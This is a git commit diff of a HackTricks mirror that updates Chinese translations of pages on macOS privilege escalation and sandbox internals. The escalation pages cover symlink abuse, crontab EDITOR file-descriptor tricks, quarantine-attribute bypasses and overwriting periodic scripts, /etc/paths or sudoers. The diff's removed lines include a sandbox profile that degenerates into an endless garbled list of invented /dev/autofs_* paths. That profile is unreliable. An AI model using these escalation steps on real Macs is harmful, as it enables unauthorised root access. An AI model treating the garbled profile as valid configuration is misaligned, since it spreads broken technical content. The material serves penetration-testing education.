mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
641dc90b7b
commit
366a1b34c2
13 changed files with 766 additions and 942 deletions
|
@ -2,13 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 如果您在**网络安全公司**工作,想在**HackTricks**中看到您的**公司广告**,或者想要获取**PEASS最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,35 +20,35 @@
|
|||
|
||||
* **读取** - 您可以**列举**目录条目
|
||||
* **写入** - 您可以在目录中**删除/写入** **文件**,并且可以**删除空文件夹**。 
|
||||
* 但是您**无法删除/修改非空文件夹**,除非您对其有写入权限。
|
||||
* 但是您**无法删除/修改非空文件夹**,除非您对其具有写权限。
|
||||
* 您**无法修改文件夹的名称**,除非您拥有它。
|
||||
* **执行** - 您被**允许遍历**目录 - 如果您没有这个权限,您无法访问其中的任何文件,或任何子目录中的文件。
|
||||
* **执行** - 您被**允许遍历**目录 - 如果您没有这个权限,您将无法访问其中的任何文件,或任何子目录中的文件。
|
||||
|
||||
### 危险组合
|
||||
|
||||
**如何覆盖由root拥有的文件/文件夹**,但:
|
||||
**如何覆盖由 root 拥有的文件/文件夹**,但:
|
||||
|
||||
* 路径中的一个父**目录所有者**是用户
|
||||
* 路径中的一个父**目录所有者**是拥有**写入权限**的**用户组**
|
||||
* 路径中的一个父**目录所有者**是具有**写入权限**的**用户组**
|
||||
* 一个用户**组**对**文件**有**写入**权限
|
||||
|
||||
有了以上任何一种组合,攻击者可以**注入**一个**符号/硬链接**到预期路径,以获得特权的任意写入。
|
||||
|
||||
### 文件夹root R+X特殊情况
|
||||
### 文件夹 root R+X 特殊情况
|
||||
|
||||
如果一个**目录**中有文件,**只有root有R+X权限**,那么其他人**无法访问**这些文件。因此,如果存在一个漏洞允许**移动用户可读的文件**,但由于该**限制**而无法读取的文件,从这个文件夹**移动到另一个文件夹**,可能会被滥用来读取这些文件。
|
||||
如果一个**目录**中有文件,**只有 root 有 R+X 访问权限**,那么其他人**无法访问**这些文件。因此,如果存在一个漏洞允许**移动用户可读的文件**,但由于该**限制**而无法读取的文件,从这个文件夹**移动到另一个文件夹**,可能会被滥用来读取这些文件。
|
||||
|
||||
示例在:[https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
|
||||
|
||||
## 符号链接 / 硬链接
|
||||
|
||||
如果一个特权进程正在向**文件**写入数据,而这个文件可能被**低权限用户控制**,或者可能被低权限用户**预先创建**。用户可以通过符号链接或硬链接**指向另一个文件**,特权进程将在该文件上写入。
|
||||
如果一个特权进程正在向**文件**写入数据,而这个文件可以被**低权限用户控制**,或者可以被低权限用户**预先创建**。用户可以通过符号链接或硬链接**指向另一个文件**,特权进程将在该文件上写入。
|
||||
|
||||
在其他部分检查攻击者如何**滥用任意写入来提升权限**。
|
||||
在其他部分检查攻击者如何可以**滥用任意写入来提升权限**。
|
||||
|
||||
## .fileloc
|
||||
|
||||
带有**`.fileloc`**扩展名的文件可以指向其他应用程序或二进制文件,所以当它们被打开时,将执行该应用程序/二进制文件。\
|
||||
扩展名为 **`.fileloc`** 的文件可以指向其他应用程序或二进制文件,因此当它们被打开时,将执行该应用程序/二进制文件。
|
||||
示例:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -60,13 +62,13 @@
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
## 任意文件描述符
|
||||
## 任意文件描述符(FD)
|
||||
|
||||
如果你能让一个**进程以高权限打开一个文件或文件夹**,你可以滥用**`crontab`**,通过设置**`EDITOR=exploit.py`**来打开`/etc/sudoers.d`中的文件,这样`exploit.py`就能获取到`/etc/sudoers`文件内的文件描述符,并滥用它。
|
||||
如果你能让一个**进程以高权限打开一个文件或文件夹**,你可以利用**`crontab`**以**`EDITOR=exploit.py`**的方式打开`/etc/sudoers.d`中的文件,这样`exploit.py`就能获取到`/etc/sudoers`中文件的文件描述符,并对其进行滥用。
|
||||
|
||||
例如:[https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
|
||||
|
||||
## 绕过隔离属性技巧
|
||||
## 绕过隔离属性(xattrs)技巧
|
||||
|
||||
### 移除它
|
||||
```bash
|
||||
|
@ -97,7 +99,7 @@ xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
|
|||
```
|
||||
### writeextattr ACL
|
||||
|
||||
此ACL防止向文件添加`xattrs`
|
||||
此 ACL 防止向文件添加 `xattrs`
|
||||
```bash
|
||||
rm -rf /tmp/test*
|
||||
echo test >/tmp/test
|
||||
|
@ -120,13 +122,13 @@ ls -le /tmp/test
|
|||
```
|
||||
### **com.apple.acl.text xattr + AppleDouble**
|
||||
|
||||
**AppleDouble** 文件格式会复制文件及其访问控制条目(ACEs)。
|
||||
**AppleDouble** 文件格式会复制文件及其访问控制列表(ACEs)。
|
||||
|
||||
在[**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)中可以看到,存储在名为 **`com.apple.acl.text`** 的 xattr 内的 ACL 文本表示将被设置为解压缩文件的 ACL。因此,如果你将一个应用程序压缩成带有防止其他 xattrs 被写入的 ACL 的 **AppleDouble** 文件格式的 zip 文件...隔离 xattr 没有被设置到应用程序中:
|
||||
在[**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)中可以看到,存储在名为 **`com.apple.acl.text`** 的扩展属性(xattr)中的ACL文本表示将被设置为解压缩文件的ACL。因此,如果你将一个应用程序压缩成带有防止其他xattrs写入的ACL的 **AppleDouble** 文件格式的zip文件...隔离属性(quarantine xattr)没有被设置到应用程序中:
|
||||
|
||||
查看[**原始报告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)获取更多信息。
|
||||
|
||||
要复制这个我们首先需要获取正确的 acl 字符串:
|
||||
要复制这个过程,我们首先需要获取正确的acl字符串:
|
||||
```bash
|
||||
# Everything will be happening here
|
||||
mkdir /tmp/temp_xattrs
|
||||
|
@ -248,7 +250,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
|||
|
||||
### 定期 sh 脚本
|
||||
|
||||
如果你的脚本可以被解释为一个**shell 脚本**,你可以覆盖**`/etc/periodic/daily/999.local`** shell 脚本,它将每天被触发。
|
||||
如果你的脚本可以被解释为一个**shell 脚本**,你可以覆盖**`/etc/periodic/daily/999.local`** shell 脚本,该脚本将每天被触发。
|
||||
|
||||
你可以用以下命令**伪造**这个脚本的执行:**`sudo periodic daily`**
|
||||
|
||||
|
@ -272,7 +274,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
|||
</plist>
|
||||
```
|
||||
```markdown
|
||||
只需生成脚本 `/Applications/Scripts/privesc.sh` 并写入您希望以 root 身份运行的**命令**。
|
||||
只需创建脚本 `/Applications/Scripts/privesc.sh` 并写入您希望以 root 身份运行的**命令**。
|
||||
|
||||
### Sudoers 文件
|
||||
|
||||
|
@ -280,9 +282,9 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
|||
|
||||
### PATH 文件
|
||||
|
||||
文件 **`/etc/paths`** 是填充 PATH 环境变量的主要位置之一。您必须是 root 才能覆盖它,但如果一个**特权进程**的脚本正在执行某些**没有完整路径的命令**,您可能可以通过修改此文件来**劫持**它。
|
||||
文件 **`/etc/paths`** 是填充 PATH 环境变量的主要位置之一。您必须是 root 用户才能覆盖它,但如果一个**特权进程**的脚本正在执行某些**没有完整路径的命令**,您可能可以通过修改此文件来**劫持**它。
|
||||
|
||||
 您还可以在 **`/etc/paths.d`** 中写入文件,将新文件夹加载到 `PATH` 环境变量中。
|
||||
 您也可以在 **`/etc/paths.d`** 中写入文件,将新文件夹加载到 `PATH` 环境变量中。
|
||||
|
||||
## 参考资料
|
||||
|
||||
|
@ -290,13 +292,15 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 您想在 **HackTricks** 中看到您的**公司广告**吗? 或者您想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**? 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) 和 [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来**分享您的黑客技巧**。
|
||||
其他支持 HackTricks 的方式:
|
||||
|
||||
* 如果您希望在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF** 版本,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -2,32 +2,34 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
MacOS沙盒(最初称为Seatbelt)**限制在沙盒中运行的应用程序**只能执行沙盒配置文件中指定的允许操作。这有助于确保**应用程序只能访问预期的资源**。
|
||||
macOS沙盒(最初称为Seatbelt)**限制在沙盒内运行的应用程序**只能执行应用程序正在使用的沙盒配置文件中**指定的允许操作**。这有助于确保**应用程序只访问预期的资源**。
|
||||
|
||||
任何具有**`com.apple.security.app-sandbox`**权限的应用程序都将在沙盒中执行。**Apple二进制文件**通常在沙盒中执行,并且为了在**App Store**中发布,**此权限是强制性的**。因此,大多数应用程序将在沙盒中执行。
|
||||
任何具有**权限** **`com.apple.security.app-sandbox`** 的应用都将在沙盒内执行。**苹果二进制文件**通常在沙盒内执行,为了在**App Store**内发布,**这个权限是强制性的**。因此,大多数应用程序将在沙盒内执行。
|
||||
|
||||
为了控制进程可以执行的操作,**沙盒在内核中的所有系统调用中都有钩子**。根据应用程序的**权限**,沙盒将**允许**特定的操作。
|
||||
为了控制进程可以或不可以做什么,**沙盒在内核的所有系统调用中都有钩子**。**根据**应用程序的**权限**,沙盒将**允许**某些操作。
|
||||
|
||||
沙盒的一些重要组件包括:
|
||||
|
||||
* 内核扩展`/System/Library/Extensions/Sandbox.kext`
|
||||
* 私有框架`/System/Library/PrivateFrameworks/AppSandbox.framework`
|
||||
* 在用户空间运行的**守护进程**`/usr/libexec/sandboxd`
|
||||
* **容器**`~/Library/Containers`
|
||||
* **内核扩展** `/System/Library/Extensions/Sandbox.kext`
|
||||
* **私有框架** `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
||||
* 在用户空间运行的**守护进程** `/usr/libexec/sandboxd`
|
||||
* **容器** `~/Library/Containers`
|
||||
|
||||
在容器文件夹中,你可以找到**每个在沙盒中执行的应用程序的文件夹**,文件夹的名称是bundle id:
|
||||
在容器文件夹内,您可以找到**每个在沙盒中执行的应用的文件夹**,名称为捆绑标识符:
|
||||
```bash
|
||||
ls -l ~/Library/Containers
|
||||
total 0
|
||||
|
@ -38,7 +40,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
|
|||
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
|
||||
[...]
|
||||
```
|
||||
在每个bundle id文件夹中,您可以找到应用程序的**plist**和**数据目录**:
|
||||
在每个bundle id文件夹中,你可以找到App的**plist**和**Data directory**:
|
||||
```bash
|
||||
cd /Users/username/Library/Containers/com.apple.Safari
|
||||
ls -la
|
||||
|
@ -62,7 +64,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
|
|||
drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
请注意,即使符号链接存在以便从沙盒中“逃脱”并访问其他文件夹,应用程序仍然需要**具有权限**来访问它们。这些权限位于**`.plist`**文件中。
|
||||
请注意,即使存在符号链接(symlinks)用于“逃离”沙盒并访问其他文件夹,应用程序仍然需要**拥有权限**来访问它们。这些权限位于**`.plist`**文件内。
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Get permissions
|
||||
|
@ -112,14 +114,14 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
|||
[...]
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
所有由沙盒应用程序创建/修改的内容都将获得**隔离属性**。这将防止沙盒应用程序尝试使用**`open`**执行某些操作时触发Gatekeeper。
|
||||
所有由沙盒应用程序创建/修改的内容都会获得**隔离属性**。这将通过触发Gatekeeper来防止沙盒空间在尝试用**`open`**执行某些操作时。
|
||||
{% endhint %}
|
||||
|
||||
### 沙盒配置文件
|
||||
|
||||
沙盒配置文件是指示在该**沙盒**中允许/禁止的配置文件。它使用**沙盒配置文件语言(SBPL)**,该语言使用[**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\))编程语言。
|
||||
沙盒配置文件是指示在该**沙盒**中什么是**允许/禁止**的配置文件。它使用了**沙盒配置文件语言(SBPL)**,该语言使用了[**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\))编程语言。
|
||||
|
||||
在这里你可以找到一个例子:
|
||||
以下是一个例子:
|
||||
```scheme
|
||||
(version 1) ; First you get the version
|
||||
|
||||
|
@ -138,212 +140,34 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
|||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
查看这个[**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **以了解更多可能被允许或拒绝的操作。**
|
||||
查看这篇[**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/),以了解更多可能被允许或拒绝的操作。
|
||||
{% endhint %}
|
||||
|
||||
重要的**系统服务**也在它们自己的自定义**沙盒**中运行,例如`mdnsresponder`服务。您可以在以下位置查看这些自定义**沙盒配置文件**:
|
||||
重要的**系统服务**也在它们自己的定制**沙盒**中运行,例如 `mdnsresponder` 服务。您可以在以下位置查看这些定制的**沙盒配置文件**:
|
||||
|
||||
* **`/usr/share/sandbox`**
|
||||
* **`/System/Library/Sandbox/Profiles`** 
|
||||
* 其他沙盒配置文件可以在[https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles)中进行检查。
|
||||
* 其他沙盒配置文件可以在 [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles) 查看。
|
||||
|
||||
**App Store**应用程序使用**配置文件** **`/System/Library/Sandbox/Profiles/application.sb`**。您可以在此配置文件中查看诸如**`com.apple.security.network.server`**的权限如何允许进程使用网络。
|
||||
**App Store** 应用使用**配置文件** **`/System/Library/Sandbox/Profiles/application.sb`**。您可以在此配置文件中检查,例如 **`com.apple.security.network.server`** 这样的权限是如何允许进程使用网络的。
|
||||
|
||||
SIP是一个名为platform\_profile的沙盒配置文件,位于/System/Library/Sandbox/rootless.conf
|
||||
SIP 是一个名为 platform\_profile 的沙盒配置文件,在 /System/Library/Sandbox/rootless.conf 中
|
||||
|
||||
### 沙盒配置文件示例
|
||||
|
||||
要使用**特定的沙盒配置文件**启动应用程序,可以使用:
|
||||
要用**特定沙盒配置文件**启动应用程序,您可以使用:
|
||||
```bash
|
||||
sandbox-exec -f example.sb /Path/To/The/Application
|
||||
```
|
||||
{% tabs %}
|
||||
{% tab title="touch" %}
|
||||
{% code title="touch.sb" %}
|
||||
|
||||
```plaintext
|
||||
(version 1)
|
||||
(deny default)
|
||||
(allow file-read-metadata)
|
||||
(allow file-write-metadata)
|
||||
(allow file-read-data (literal "/usr/bin/touch"))
|
||||
(allow file-write-data (literal "/usr/bin/touch"))
|
||||
(allow file-read-data (regex #"^/usr/lib/.*"))
|
||||
(allow file-write-data (regex #"^/usr/lib/.*"))
|
||||
(allow file-read-data (regex #"^/System/Library/.*"))
|
||||
(allow file-write-data (regex #"^/System/Library/.*"))
|
||||
(allow file-read-data (regex #"^/Library/.*"))
|
||||
(allow file-write-data (regex #"^/Library/.*"))
|
||||
(allow file-read-data (literal "/private/var/tmp"))
|
||||
(allow file-write-data (literal "/private/var/tmp"))
|
||||
(allow file-read-data (literal "/private/tmp"))
|
||||
(allow file-write-data (literal "/private/tmp"))
|
||||
(allow file-read-data (literal "/tmp"))
|
||||
(allow file-write-data (literal "/tmp"))
|
||||
(allow file-read-data (literal "/dev/null"))
|
||||
(allow file-write-data (literal "/dev/null"))
|
||||
(allow file-read-data (literal "/dev/random"))
|
||||
(allow file-write-data (literal "/dev/random"))
|
||||
(allow file-read-data (literal "/dev/urandom"))
|
||||
(allow file-write-data (literal "/dev/urandom"))
|
||||
(allow file-read-data (literal "/dev/zero"))
|
||||
(allow file-write-data (literal "/dev/zero"))
|
||||
(allow file-read-data (literal "/dev/stdin"))
|
||||
(allow file-write-data (literal "/dev/stdin"))
|
||||
(allow file-read-data (literal "/dev/stdout"))
|
||||
(allow file-write-data (literal "/dev/stdout"))
|
||||
(allow file-read-data (literal "/dev/stderr"))
|
||||
(allow file-write-data (literal "/dev/stderr"))
|
||||
(allow file-read-data (literal "/dev/fd"))
|
||||
(allow file-write-data (literal "/dev/fd"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_nobrowse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_nobrowse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_nobrowse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_nobrowse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_browse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_browse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_nobrowse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_nobrowse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_nobrowse_nobrowse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_nobrowse_nobrowse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_nobrowse_browse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_nobrowse_browse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_browse_nobrowse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_browse_nobrowse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_nobrowse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_nobrowse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_nobrowse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_nobrowse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_nobrowse_nobrowse_browse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_nobrowse_nobrowse_browse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_browse_browse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_browse_browse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_browse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_browse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_browse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_browse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_nobrowse_browse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_nobrowse_browse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_browse_nobrowse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_browse_nobrowse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_browse_nobrowse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_notrigger_browse_nobrowse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_nowait_nobrowse_nobrowse_nobrowse_nobrowse"))
|
||||
(allow file-write-data (literal "/dev/autofs_nowait_nobrowse_nobrowse_nobrowse_nobrowse"))
|
||||
(allow file-read-data (literal "/dev/autofs_notrigger_nobrowse_nobrowse_nobrowse_nobrowse"))
|
||||
